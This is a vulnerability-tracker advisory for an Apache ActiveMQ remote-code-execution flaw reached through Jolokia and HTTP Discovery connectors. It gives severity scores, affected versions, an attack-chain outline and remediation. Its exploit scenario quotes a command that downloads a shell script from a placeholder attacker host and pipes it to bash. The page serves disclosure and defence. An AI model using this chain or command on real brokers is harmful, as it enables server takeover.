Skip to main content

Apache ActiveMQ EUVDEUVD-2026-25410

| CVE-2026-40466 HIGH
Improper Input Validation (CWE-20)
2026-04-24 apache GHSA-w3w2-mpp5-92gm
8.8
CVSS 3.1 · Vendor: apache
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to Jolokia endpoint
  2. Delivery
    Invoke BrokerView.addNetworkConnector with malicious HTTP Discovery URI
  3. Exploit
    Broker contacts attacker HTTP server
  4. Install
    Malicious response returns VM transport with remote Spring XML brokerConfig
  5. C2
    Spring ResourceXmlApplicationContext loads attacker XML
  6. Execute
    Bean factory instantiates Runtime.exec() with attacker payload
  7. Impact
    Arbitrary code executes as broker JVM user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

Exploitation requires three specific conditions: (1) Attacker possesses valid ActiveMQ authentication credentials with sufficient privileges to invoke BrokerView MBean operations via Jolokia (default ActiveMQ admin role). (2) Jolokia HTTP endpoint is accessible to the attacker (commonly exposed on port 8161 at /api/jolokia/* in default configurations). (3) The activemq-http module JAR is present on the broker's classpath at runtime, enabling HTTP Discovery transport functionality (included in standard ActiveMQ distributions but may be absent in minimal custom builds). The attack vector is network-based (AV:N) with low complexity (AC:L), meaning no non-default configuration or race conditions are required. However, low-privilege authentication (PR:L) is mandatory - this is NOT unauthenticated remote code execution. No user interaction required (UI:N). The requirement for authenticated access and specific module presence limits exploitation compared to unauthenticated RCE but poses significant risk in environments with weak credential management or insider threat scenarios.

Impact

Real-world risk assessment reveals moderate urgency despite high CVSS 8.8 score. CVSS vector (AV:N/AC:L/PR:L/UI:N) indicates network-exploitable, low-complexity attack requiring low-privilege authentication - a realistic threat model for internet-exposed ActiveMQ instances with default Jolokia endpoints. However, EPSS score of 0.06% (19th percentile) suggests very low probability of mass exploitation in the next 30 days. SSVC framework confirms no active exploitation, non-automatable attack requiring authenticated context, but total technical impact (arbitrary code execution). This is not a wormable vulnerability but represents critical risk for organizations with ActiveMQ exposed to untrusted authenticated users or lateral movement scenarios. The presence of CVE-2026-34197 in the description indicates this is a bypass of prior hardening - attackers already understand this attack surface. Key discriminator: exploitation requires both authenticated Jolokia access AND activemq-http module on classpath (non-default in some deployments). Priority should be HIGH for internet-facing instances with Jolokia enabled, MEDIUM for internal instances with strong authentication controls. No public POC identified in provided references, though the detailed vendor advisory (activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) provides sufficient technical detail for skilled attackers to reconstruct the exploit chain.

Exploit ScenarioDerived

An attacker with valid ActiveMQ credentials authenticates to the Jolokia HTTP endpoint (typically exposed on port 8161 at /api/jolokia). Using Jolokia's JSON API, the attacker invokes BrokerView.addNetworkConnector with a crafted HTTP Discovery transport URI pointing to an attacker-controlled malicious web server. The malicious server responds with a VM transport URI containing a brokerConfig parameter that references a remote Spring XML file hosted by the attacker. ActiveMQ's Spring Framework eagerly loads this XML context, instantiating beans defined with factory methods such as Runtime.getRuntime().exec("/bin/bash -c 'wget attacker.com/shell|sh'"). Arbitrary code executes with broker JVM privileges before configuration validation occurs, granting the attacker complete control over the ActiveMQ server and potential lateral movement within the network.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Apr 27, 2026

Remote code execution in Apache ActiveMQ 5.x (before 5.19.6) and 6.x (before 6.2.5) allows authenticated attackers to bypass prior security fixes (CVE-2026-34197) by injecting malicious Spring XML configurations through HTTP Discovery transport connectors via Jolokia. Attackers leverage a VM transport loophole to invoke arbitrary bean factory methods like Runtime.exec() during Spring context initialization. EPSS score is low (0.06%, 19th percentile) with no confirmed active exploitation (not in CISA KEV), suggesting limited widespread targeting despite high CVSS 8.8 score. Exploitation requires authenticated Jolokia access and presence of activemq-http module on classpath.

Earlier versions of this analysis (1)
v1 Apr 24, 2026 - 21:30 CVSS 8.8

Remote code execution in Apache ActiveMQ allows authenticated attackers to bypass CVE-2026-34197 protections and execute arbitrary code on the broker's JVM. Attackers with low-level authentication can inject malicious configurations via Jolokia's JMX interface by adding HTTP Discovery connectors that return VM transport URIs, which then load remote Spring XML contexts executing code through bean factory methods like Runtime.exec(). EPSS score of 0.06% (19th percentile) indicates low observed exploitation probability despite high CVSS 8.8 rating. No active exploitation confirmed (not in CISA KEV), but this represents a bypass of a previously patched vulnerability, suggesting targeted attack potential against organizations that patched CVE-2026-34197 but haven't upgraded to the latest versions.

RemediationAI

Upgrade immediately to Apache ActiveMQ 5.19.6 (for 5.x deployments) or 6.2.5 (for 6.x deployments) per vendor advisory at https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt. For environments where immediate patching is not feasible, apply these compensating controls with noted limitations: (1) Remove activemq-http JAR from broker classpath - eliminates HTTP Discovery transport capability but breaks legitimate HTTP-based network connectors; confirm no production configurations depend on HTTP transport before implementing. (2) Disable Jolokia endpoint entirely by removing jolokia-core JAR or blocking HTTP access to /api/jolokia/* paths at reverse proxy/firewall layer - prevents management via Jolokia but may break monitoring tools relying on JMX-over-HTTP. (3) Restrict Jolokia authentication to trusted administrator accounts only and audit BrokerView.addNetworkConnector/addConnector invocations - reduces attack surface but does not prevent exploitation by compromised admin credentials. (4) Deploy network segmentation to prevent broker JVM from initiating outbound HTTP connections to attacker-controlled endpoints - blocks malicious HTTP Discovery responses but may interfere with legitimate external integrations. All workarounds carry operational trade-offs; vendor patching is the only complete remediation.

Affected VersionsENISA

Apache ActiveMQ 6.0.0 <6.2.5
Apache ActiveMQ 0 <5.19.6
Apache ActiveMQ Broker 6.0.0 <6.2.5
Apache ActiveMQ All 6.0.0 <6.2.5
Apache ActiveMQ Broker 0 <5.19.6
Apache ActiveMQ All 0 <5.19.6

Affected Packages

maven org.apache.activemq:activemq-all fix: 5.19.6, 6.2.5
maven org.apache.activemq:activemq-broker fix: 5.19.6, 6.2.5
maven org.apache.activemq:apache-activemq fix: 5.19.6, 6.2.5
euvd apache_activemq fix: 5.19.6, 6.2.5
euvd apache_activemq_all fix: 5.19.6, 6.2.5
euvd apache_activemq_broker fix: 5.19.6, 6.2.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 6 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Apache ActiveMQ is a Java-based message broker implementing JMS (Java Message Service). This vulnerability exploits two underlying technologies: Jolokia (HTTP/JSON bridge for JMX) and Spring Framework's ResourceXmlApplicationContext. The attack chain leverages ActiveMQ's connector management through BrokerView MBeans accessible via Jolokia. When activemq-http module is present, the HTTP Discovery transport protocol accepts remote URIs that can redirect to VM transports. The VM transport's brokerConfig parameter historically allowed loading arbitrary Spring XML contexts. The root cause (CWE-20: Improper Input Validation) stems from insufficient validation of HTTP Discovery responses that return VM transport URIs, bypassing the incomplete fix in CVE-2026-34197. Spring's ResourceXmlApplicationContext eagerly instantiates singleton beans before ActiveMQ validates broker configuration, enabling attackers to execute arbitrary code through bean definitions specifying Runtime.getRuntime().exec() or similar factory methods. The CPE strings confirm all three distribution packages (activemq, activemq-broker, activemq-all) are vulnerable across versions 5.x (<5.19.6) and 6.x (<6.2.5).

Know when Apache Activemq Broker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (apache) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Red Hat 8.8 HIGH

Primary rating from Vendor (apache).

CVSS VectorVendor: apache

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

6
Analysis Updated
Apr 27, 2026 - 12:42 vuln.today
v2 - CVSS changed
PoC Detected
Apr 27, 2026 - 12:23 vuln.today
Public exploit code
Patch released
Apr 27, 2026 - 12:23 nvd
Patch available
CVSS changed
Apr 24, 2026 - 19:22 NVD
8.8 (None) 8.8 (HIGH)
Patch available
Apr 24, 2026 - 12:16 EUVD
CVE Published
Apr 24, 2026 - 10:15 nvd
HIGH 8.8

DescriptionCVE.org

Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ.

An authenticated attacker may bypass the fix in CVE-2026-34197 by adding a connector using an HTTP Discovery transport via BrokerView.addNetworkConnector or BrokerView.addConnector through Jolokia if the activemq-http module is on the classpath. A malicious HTTP endpoint can return a VM transport through the HTTP URI which will bypass the validation added in CVE-2026-34197. The attacker can then use the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec().

This issue affects Apache ActiveMQ Broker: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ All: before 5.19.6, from 6.0.0 before 6.2.5; Apache ActiveMQ: before 5.19.6, from 6.0.0 before 6.2.5.

Users are recommended to upgrade to version 5.19.6 or 6.2.5, which fixes the issue.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 6 maven packages depend on org.apache.activemq:activemq-all (3 direct, 3 indirect)
  • 21 maven packages depend on org.apache.activemq:activemq-broker (14 direct, 7 indirect)

Ecosystem-wide dependent count for version 6.0.0 and other introduced versions.

Executive ViewAI

Why It Matters

Apache ActiveMQ versions 5.x (before 5.19.6) and 6.x (before 6.2.5) contain a remote code execution vulnerability that allows authenticated attackers to execute arbitrary commands by injecting malicious Spring XML configurations through HTTP Discovery transport connectors. Organizations running affected ActiveMQ instances with Jolokia enabled face significant risk of system compromise if internal access controls are insufficient, as attackers with authenticated Jolokia access can bypass prior security patches to achieve full code execution during application startup.

Business Impact: High
Compensating Controls

Vendor-released patch: Apply Apache ActiveMQ 5.19.6+ (5.x branch) or 6.2.5+ (6.x branch). If patching is delayed, immediately restrict Jolokia access to trusted internal networks only via firewall rules; disable HTTP Discovery transport connector if not operationally required; implement network-level monitoring for suspicious HTTP Discovery requests; and require multi-factor authentication for any Jolokia access points.

Threat Intelligence Overview

EPSS Score
0.1%
Top 81% exploitable
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA POC (1) Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

64
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy